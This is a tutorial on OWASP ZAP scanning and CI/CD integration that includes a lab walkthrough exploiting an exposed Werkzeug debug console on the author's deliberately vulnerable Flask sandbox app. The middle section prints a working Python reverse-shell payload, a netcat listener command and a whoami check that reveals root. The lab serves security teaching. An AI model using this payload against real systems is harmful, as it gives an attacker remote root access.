What is OWASP ZAP (Zed Attack Proxy)?
OWASP ZAP (Zed Attack Proxy) is an open-source security tool maintained by the Open Web Application Security Project (OWASP). It is widely used for testing the security of web applications, especially by identifying potential vulnerabilities.
Overview of OWASP ZAP
OWASP ZAP is designed for both beginners and advanced users. Its main purpose is to help security professionals, developers, and penetration testers identify security vulnerabilities in web applications. ZAP can perform both automated and manual scans, making it versatile for different types of testing workflows.
Key Features of OWASP ZAP
Automated Scanning: ZAP allows users to automatically scan a target website for vulnerabilities. It simulates an attacker trying to find weak spots in a web application, such as outdated libraries, missing security headers, and vulnerable input fields.
Manual Testing Assistance: ZAP includes a set of tools to assist manual testing. Testers can explore web pages, inject payloads, and analyze responses manually. This is helpful when more granular testing is required beyond automated scanning.
Intercepting Proxy: ZAP can intercept and modify traffic between the client (browser) and the web server. This feature allows testers to analyze and manipulate requests and responses, which is essential for testing the security of web requests and web application logic.
Active Scanning: Active Scanning in ZAP goes beyond passive analysis, actively probing a website with various payloads and testing for issues like SQL Injection, Cross-Site Scripting (XSS), and other vulnerabilities. This type of scan is more intrusive and should be done with permission on non-production environments to avoid accidental harm to live systems.
Spidering: The spidering feature helps ZAP discover all available pages on a site by following links and gathering all accessible URLs. This is useful for comprehensive security testing of the entire web application.
Fuzzer: ZAP includes a fuzzer that allows testers to brute-force test parameters to find hidden pages, functionality, and potential vulnerabilities by inserting different payloads into application inputs.
Plug-In Support: ZAP supports plugins that allow users to extend its capabilities, such as adding additional vulnerability checks, integrating with CI/CD pipelines, and generating custom reports.
How OWASP ZAP Works
OWASP ZAP operates as an intercepting proxy and runs locally on a machine, where it monitors the traffic between a web application and the web browser.
Steps for Using OWASP ZAP for Scanning:
Setting Up OWASP ZAP:
Download and install ZAP from the official OWASP ZAP website.
Start ZAP and configure it to listen on a local proxy (usually localhost:8080).
Configure the browser to use this proxy, so all web traffic is routed through ZAP.
Performing a Basic Scan:
Open the ZAP interface and enter the target URL.
Initiate a quick scan or full scan by selecting “Attack” from the menu. A quick scan performs a less intensive, faster scan, while a full scan is more thorough.
Active and Passive Scanning:
Passive Scanning: Automatically inspects all traffic passing through ZAP without sending additional requests to the server. This can identify issues such as missing headers or insecure cookie flags.
Active Scanning: Actively injects payloads to test for specific vulnerabilities, like SQL injection or XSS. Active scanning is invasive, so it’s recommended for testing non-production environments.
Reviewing Scan Results:
- After scanning, ZAP provides a detailed report with identified vulnerabilities, warnings, and informational findings. Each issue is categorized by risk level (high, medium, low) and includes recommended solutions.
Using ZAP with Docker for CI/CD:
- ZAP can be run as a Docker container, allowing it to integrate seamlessly into CI/CD pipelines for automated security testing. This setup uses ZAP’s command-line interface (CLI) and enables testing as part of the development process.
Interpreting ZAP’s Findings
ZAP categorizes findings into different types:
PASS: No vulnerability found for this test.
INFO: Informational issues that may or may not be a risk.
WARN: Issues that could lead to a vulnerability, like outdated libraries or missing security headers.
FAIL: Critical issues that present a significant risk, such as SQL Injection or remote code execution vulnerabilities.
Each finding also includes details about:
The specific vulnerability and its location in the application.
HTTP requests and responses involved in the finding.
Remediation suggestions to mitigate the issue.
Integrating OWASP ZAP in Development and Security Workflows
Early Security Testing: OWASP ZAP can be integrated early in the development process to identify security issues as developers code, helping to catch vulnerabilities before they reach production.
Automated Security Scanning in CI/CD: By integrating ZAP with CI/CD pipelines, organizations can automatically test for vulnerabilities with each code commit, minimizing security risks in continuous delivery environments.
Periodic Security Audits: Regular scans can identify new vulnerabilities that may emerge over time due to application updates, new third-party libraries, or changes in threat landscape.
Detailed Reporting and Remediation: ZAP provides detailed reports, making it easier for development and security teams to collaborate on vulnerability fixes.
Conclusion
OWASP ZAP is a powerful tool that enables teams to find and address security vulnerabilities in web applications. By automating vulnerability detection and integrating security testing within development workflows, it helps improve the security posture of web applications through consistent, proactive security testing.
Exploiting Containerized Apps Setup on sandbox server
Before moving forward, we will set up our application Damn Vulnerable Python Application (Flask) on sandbox server to perform scans in a running application, and analyze the results to fix issues.
Note
Sandbox server already has docker installed, we will use it to run the application.
Clone the project from git repository.
# git clone https://gitlab.com/AungLae/dvpa.git
Let’s cd into the application so we can run the application.
cd dvpa
itadmin@sandbox:~/Desktop/dvpa$ ls -ll
total 32
drwxrwxr-x 6 itadmin itadmin 4096 Nov 13 16:11 blog
-rw-rw-r-- 1 itadmin itadmin 520 Nov 13 16:11 docker-compose.yml
-rw-rw-r-- 1 itadmin itadmin 227 Nov 13 16:11 Dockerfile
-rw-rw-r-- 1 itadmin itadmin 1078 Nov 13 16:11 LICENSE
-rw-rw-r-- 1 itadmin itadmin 6285 Nov 13 16:11 medaum.sql
-rw-rw-r-- 1 itadmin itadmin 160 Nov 13 16:11 post.json
-rw-rw-r-- 1 itadmin itadmin 173 Nov 13 16:11 README.md
We are now in the app directory; let’s build the docker image and also run the application in a single command.
docker-compose up -d --build
Once finished, wait a few seconds until the MySQL container is ready, and then we can import the database using the following command.
docker-compose exec -T db mysql -u admin --password=admin blog < medaum.sql
Our application is up and running.
You can access the application by visiting https://dvpa.drlinuxer.com
Scanning our DVPA application with OWASP ZAP docker
To run OWASP ZAP (Zed Attack Proxy) using Docker with the zap-baseline.py
script to perform a baseline scan of target website.
You can get docker image from https://hub.docker.com/r/softwaresecurityproject/zap-stable
ZAP Docker container performs a baseline scan to target web application:
docker run --rm softwaresecurityproject/zap-stable:2.15.0 zap-baseline.py -t https://dvpa.drlinuxer.com
itadmin@sandbox:~$ docker run --rm softwaresecurityproject/zap-stable:2.15.0 zap-baseline.py -t https://dvpa.drlinuxer.com
Using the Automation Framework
Total of 27 URLs
PASS: In Page Banner Information Leak [10009]
PASS: Cookie No HttpOnly Flag [10010]
PASS: Cookie Without Secure Flag [10011]
PASS: Content-Type Header Missing [10019]
PASS: Information Disclosure - Debug Error Messages [10023]
PASS: Information Disclosure - Sensitive Information in URL [10024]
PASS: Information Disclosure - Sensitive Information in HTTP Referrer Header [10025]
PASS: HTTP Parameter Override [10026]
PASS: Open Redirect [10028]
PASS: Cookie Poisoning [10029]
PASS: User Controllable Charset [10030]
PASS: User Controllable HTML Element Attribute (Potential XSS) [10031]
PASS: Viewstate [10032]
PASS: Directory Browsing [10033]
PASS: Heartbleed OpenSSL Vulnerability (Indicative) [10034]
PASS: HTTP Server Response Header [10036]
PASS: Server Leaks Information via "X-Powered-By" HTTP Response Header Field(s) [10037]
PASS: X-Backend-Server Header Information Leak [10039]
PASS: Secure Pages Include Mixed Content [10040]
PASS: HTTP to HTTPS Insecure Transition in Form Post [10041]
PASS: HTTPS to HTTP Insecure Transition in Form Post [10042]
PASS: User Controllable JavaScript Event (XSS) [10043]
PASS: Big Redirect Detected (Potential Sensitive Information Leak) [10044]
PASS: X-ChromeLogger-Data (XCOLD) Header Information Leak [10052]
PASS: Cookie without SameSite Attribute [10054]
PASS: CSP [10055]
PASS: X-Debug-Token Information Leak [10056]
PASS: Username Hash Found [10057]
PASS: X-AspNet-Version Response Header [10061]
PASS: PII Disclosure [10062]
PASS: Timestamp Disclosure [10096]
PASS: Hash Disclosure [10097]
PASS: Cross-Domain Misconfiguration [10098]
PASS: Source Code Disclosure [10099]
PASS: Weak Authentication Method [10105]
PASS: Reverse Tabnabbing [10108]
PASS: Dangerous JS Functions [10110]
PASS: Session Management Response Identified [10112]
PASS: Verification Request Identified [10113]
PASS: Script Served From Malicious Domain (polyfill) [10115]
PASS: Private IP Disclosure [2]
PASS: Session ID in URL Rewrite [3]
PASS: Script Passive Scan Rules [50001]
PASS: Stats Passive Scan Rule [50003]
PASS: Insecure JSF ViewState [90001]
PASS: Java Serialization Object [90002]
PASS: Insufficient Site Isolation Against Spectre Vulnerability [90004]
PASS: Charset Mismatch [90011]
PASS: Application Error Disclosure [90022]
PASS: WSDL File Detection [90030]
PASS: Loosely Scoped Cookie [90033]
WARN-NEW: Vulnerable JS Library [10003] x 2
https://dvpa.drlinuxer.com/static/js/bootstrap.min.js (200 OK)
https://dvpa.drlinuxer.com/static/js/jquery.min.js (200 OK)
WARN-NEW: Re-examine Cache-control Directives [10015] x 9
https://dvpa.drlinuxer.com (200 OK)
https://dvpa.drlinuxer.com/ (200 OK)
https://dvpa.drlinuxer.com/forgot_password (200 OK)
https://dvpa.drlinuxer.com/login (200 OK)
https://dvpa.drlinuxer.com/post/History-of-Google/ (200 OK)
WARN-NEW: Cross-Domain JavaScript Source File Inclusion [10017] x 6
https://dvpa.drlinuxer.com (200 OK)
https://dvpa.drlinuxer.com/ (200 OK)
https://dvpa.drlinuxer.com/post/History-of-Google/ (200 OK)
https://dvpa.drlinuxer.com/post/Lorem-Ipsum/ (200 OK)
https://dvpa.drlinuxer.com/post/What-is-DevOps/ (200 OK)
WARN-NEW: Missing Anti-clickjacking Header [10020] x 11
https://dvpa.drlinuxer.com (200 OK)
https://dvpa.drlinuxer.com/ (200 OK)
https://dvpa.drlinuxer.com/forgot_password (200 OK)
https://dvpa.drlinuxer.com/login (200 OK)
https://dvpa.drlinuxer.com/post/History-of-Google/ (200 OK)
WARN-NEW: X-Content-Type-Options Header Missing [10021] x 11
https://dvpa.drlinuxer.com (200 OK)
https://dvpa.drlinuxer.com/ (200 OK)
https://dvpa.drlinuxer.com/login (200 OK)
https://dvpa.drlinuxer.com/post/History-of-Google/ (200 OK)
https://dvpa.drlinuxer.com/post/Lorem-Ipsum/ (200 OK)
WARN-NEW: Information Disclosure - Suspicious Comments [10027] x 2
https://dvpa.drlinuxer.com/static/js/jquery.min.js (200 OK)
https://dvpa.drlinuxer.com/static/js/jquery.min.js (200 OK)
WARN-NEW: Strict-Transport-Security Header Not Set [10035] x 11
https://dvpa.drlinuxer.com (200 OK)
https://dvpa.drlinuxer.com/ (200 OK)
https://dvpa.drlinuxer.com/login (200 OK)
https://dvpa.drlinuxer.com/post/History-of-Google/ (200 OK)
https://dvpa.drlinuxer.com/post/Lorem-Ipsum/ (200 OK)
WARN-NEW: Content Security Policy (CSP) Header Not Set [10038] x 10
https://dvpa.drlinuxer.com (200 OK)
https://dvpa.drlinuxer.com/ (200 OK)
https://dvpa.drlinuxer.com/forgot_password (200 OK)
https://dvpa.drlinuxer.com/js/my-login.js (404 Not Found)
https://dvpa.drlinuxer.com/login (200 OK)
WARN-NEW: Storable and Cacheable Content [10049] x 11
https://dvpa.drlinuxer.com (200 OK)
https://dvpa.drlinuxer.com/ (200 OK)
https://dvpa.drlinuxer.com/login (200 OK)
https://dvpa.drlinuxer.com/post/History-of-Google/ (200 OK)
https://dvpa.drlinuxer.com/post/Lorem-Ipsum/ (200 OK)
WARN-NEW: Retrieved from Cache [10050] x 5
https://dvpa.drlinuxer.com/static/css/bootstrap.min.css (200 OK)
https://dvpa.drlinuxer.com/static/css/style.css (200 OK)
https://dvpa.drlinuxer.com/static/img/favicon.ico (200 OK)
https://dvpa.drlinuxer.com/static/js/bootstrap.min.js (200 OK)
https://dvpa.drlinuxer.com/static/js/jquery.min.js (200 OK)
WARN-NEW: Permissions Policy Header Not Set [10063] x 11
https://dvpa.drlinuxer.com (200 OK)
https://dvpa.drlinuxer.com/ (200 OK)
https://dvpa.drlinuxer.com/js/my-login.js (404 Not Found)
https://dvpa.drlinuxer.com/login (200 OK)
https://dvpa.drlinuxer.com/post/History-of-Google/ (200 OK)
WARN-NEW: Modern Web Application [10109] x 4
https://dvpa.drlinuxer.com (200 OK)
https://dvpa.drlinuxer.com/ (200 OK)
https://dvpa.drlinuxer.com/register (200 OK)
https://dvpa.drlinuxer.com/search/?q=ZAP (200 OK)
WARN-NEW: Authentication Request Identified [10111] x 1
https://dvpa.drlinuxer.com/login (200 OK)
WARN-NEW: Absence of Anti-CSRF Tokens [10202] x 2
https://dvpa.drlinuxer.com/forgot_password (200 OK)
https://dvpa.drlinuxer.com/login (200 OK)
WARN-NEW: Sub Resource Integrity Attribute Missing [90003] x 5
https://dvpa.drlinuxer.com/forgot_password (200 OK)
https://dvpa.drlinuxer.com/login (200 OK)
https://dvpa.drlinuxer.com/register (200 OK)
https://dvpa.drlinuxer.com/forgot_password (200 OK)
https://dvpa.drlinuxer.com/login (200 OK)
FAIL-NEW: 0 FAIL-INPROG: 0 WARN-NEW: 15 WARN-INPROG: 0 INFO: 0 IGNORE: 0 PASS: 51
Explanation:
--rm
: Automatically removes the container after execution.
zap-stable:2.15.0
: The image we're using (the stable version of ZAP).
zap-baseline.py
: The script to run the ZAP baseline scan.
-t
https://dvpa.drlinuxer.com
: The target website to scan.
OWASP ZAP docker running Interactively and generating reports
/zap/wrk
mount is necessary for the ZAP (OWASP Zed Attack Proxy) to work correctly when generating reports. ZAP to write or store data in that mount point.
To create a folder named zap-work
that will mapped with /zap/wrk
ZAP docker container.
itadmin@sandbox:~/Desktop$ mkdir zap-work
itadmin@sandbox:~/Desktop$ ls -ll
total 8
drwxrwxr-x 4 itadmin itadmin 4096 Nov 14 15:20 dvpa
drwxrwxr-x 2 itadmin itadmin 4096 Nov 14 16:32 zap-work
If you want to inspect or modify the ZAP configuration further, you can run the container interactively and start the script inside the container:
docker run -it --rm -v /home/itadmin/Desktop/zap-work:/zap/wrk softwaresecurityproject/zap-stable:2.15.0 bash
Generate a report: -r report.html
: (you can specify report.html
or report.xml
format for the report).
python3 /zap/zap-baseline.py -t https://dvpa.drlinuxer.com -r report.html
You can find a report from wrk
folder
Based on the scan results, we don’t see interesting issue there like SQL Injection, Remote Code Execution or critical issues. So, what we will do? Maybe check if there is any misconfiguration with Flask application.
After searching the internet for “Flask security misconfigurations”, or reading through the security documentation at the flask docs, we find that there is a possibility of a Remote Code Execution (RCE) through the Flask debugger, if the debugger is set to ON for testing purposes.
Note
https://werkzeug.palletsprojects.com/en/2.0.x/debug/?highlight=danger#module-werkzeug.debug
In the above reference, as it says if debugger is set to ON it could lead to Remote Code Execution attack which is very dangerous for us because attacker can execute malicious code directly into the target machine and also get an reverse shell to escalate his privilege into the machine.
Step-by-Step Exploitation of the Vulnerability
Lets check the debugger endpoint at https://dvpa.drlinuxer.com/console Try to type any python syntax in it and you will get the response.
Step 1: Identifying the Vulnerability
Access the Debugger Endpoint
Navigate to the debugger console athttps://dvpa.drlinuxer.com/console
.Check Python Execution
Type any Python command, such as:import subprocess subprocess.check_output("whoami").strip()
Expected Output:
b'root'
Explanation:
This output reveals that the application is running as theroot
user, a high privilege level. If an attacker gains control of this console, they could execute commands with root privileges.
Step 2: Exploiting the Python Console for a Reverse Shell
Since Python commands execute in this console, we can attempt to set up a reverse shell.
Step 3: Check Your IP Address
Find the Target IP Address for Reverse Shell
To determine your machine’s IP address (for the reverse shell connection), run:import subprocess output = subprocess.check_output("ip addr show eth0 | awk '/inet / {print $2}' | cut -d/ -f1", shell=True).strip() print(output.decode())
Example Output:
172.18.0.3
Explanation:
This IP address will serve as the target for the reverse shell.
Step 4: Set Up the Reverse Shell Listener
On your sandbox server/ attacker machine, follow these steps to listen for incoming connections:
Install Netcat
Ifnetcat
is not already installed, install it with:apt install -y netcat
Start the Listener
Listen for a reverse shell connection on port 4242:nc -lp 4242
Note:
The listener will stay open, awaiting a connection from the target machine.
Step 5: Execute the Reverse Shell Payload
Run the Payload on the Target System
In the debugger console, execute the following payload:import socket, subprocess, os s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(("192.168.x.x", 4242)) # Replace with your own IP address/attacker machine IP address os.dup2(s.fileno(), 0) os.dup2(s.fileno(), 1) os.dup2(s.fileno(), 2) p = subprocess.call(["/bin/sh", "-i"])
Important: Replace 192.168.0.109
with your actual IP address.
Step 6: Confirm the Reverse Shell Connection
Verify Shell Access
If successful, you should see the following on sandbox server/attacker machine’s terminal:
Explanation:
This output confirms that you have gained a shell on the target system.
Step 7: Verify Access on the Target Machine
Run Basic Commands
Test your access level by running the following commands on the compromised system:root hostname ip a cat /etc/os-release
Conclusion
You have exploited a security misconfiguration that allows Python code execution in a high-privilege containerized environment, achieving root access.
To integrate OWASP ZAP with GitLab CI/CD pipelines, follow these steps:
-
Ensure the OWASP ZAP Docker image is available (you can pull it from Docker Hub).
A GitLab CI/CD pipeline configured with
.gitlab-ci.yml
.A target application URL or IP address to scan (preferably a staging environment to avoid risks of active scanning in production).
GitLab CI/CD Pipeline Configuration for ZAP:
Here's a sample
.gitlab-ci.yml
file that includes a ZAP scan job:stages: - zap_scan variables: # Define variables for ZAP configuration ZAP_BASE_URL: "https://your-app-url.com" # Target URL for ZAP to scan ZAP_REPORT: "zap_report.html" # Report filename zap_scan: stage: zap_scan image: owasp/zap2docker-stable:latest services: - docker:dind script: # Start ZAP and run the baseline scan against the target URL - echo "Starting ZAP scan on $ZAP_BASE_URL..." - > docker run --rm owasp/zap2docker-stable zap-baseline.py -t $ZAP_BASE_URL -r $ZAP_REPORT # Generates HTML report artifacts: paths: - $ZAP_REPORT expire_in: 1 day
Explanation of the
.gitlab-ci.yml
configuration:Stages: Defines
test
andzap_scan
stages.zap_scan
will run in thezap_scan
stage.Variables:
ZAP_BASE_URL
: The base URL of the application to be scanned.ZAP_REPORT
: The filename for the HTML report generated by ZAP.
zap_scan job:
Image: Uses the
owasp/zap2docker-stable
Docker image to run ZAP.Script: Runs
zap-baseline.py
with the target URL and generates an HTML report.
Artifacts: The ZAP report is stored as an artifact, which can be downloaded and reviewed from the GitLab pipeline interface.
Understanding the ZAP Docker Commands in CI/CD:
The
zap-baseline.py
script runs a baseline scan with minimal configuration, making it suitable for quick scans in CI/CD pipelines. Here’s how the options used in the command work:-t $ZAP_BASE_URL
: Specifies the target URL to scan.-r $ZAP_REPORT
: Generates an HTML report with the results. You can also output this report in XML or Markdown if preferred.
Review the ZAP Report:
After the job completes, the ZAP report is saved as an artifact in GitLab.
You can view and download the report from the GitLab pipeline’s job summary page.
Additional Configuration Options:
Custom Rules: ZAP allows for custom rules to tune what’s considered a pass/fail. This is particularly helpful for enforcing policies on specific vulnerabilities.
Active Scans: If you want a more thorough scan, consider using the
zap-full-scan.py
script instead of thezap-baseline.py
. Note that this is more invasive and should be used cautiously.Authentication: If your application requires authentication, you can add API keys, credentials, or session tokens in your
zap-baseline.py
options to scan authenticated routes.
Example of
zap-full-scan.py
Integration:For more comprehensive testing, you could replace the
zap-baseline.py
withzap-full-scan.py
:script: - echo "Starting ZAP full scan on $ZAP_BASE_URL..." - > docker run --rm owasp/zap2docker-stable zap-full-scan.py -t $ZAP_BASE_URL -r $ZAP_REPORT # Generates HTML report